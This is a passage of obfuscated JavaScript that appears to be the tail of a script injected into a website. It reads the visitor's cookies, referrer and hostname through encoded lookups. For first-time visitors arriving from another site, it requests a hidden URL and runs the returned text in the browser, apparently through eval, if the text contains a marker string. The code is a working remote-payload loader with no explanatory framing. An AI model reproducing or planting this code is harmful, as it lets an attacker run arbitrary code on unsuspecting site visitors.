X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};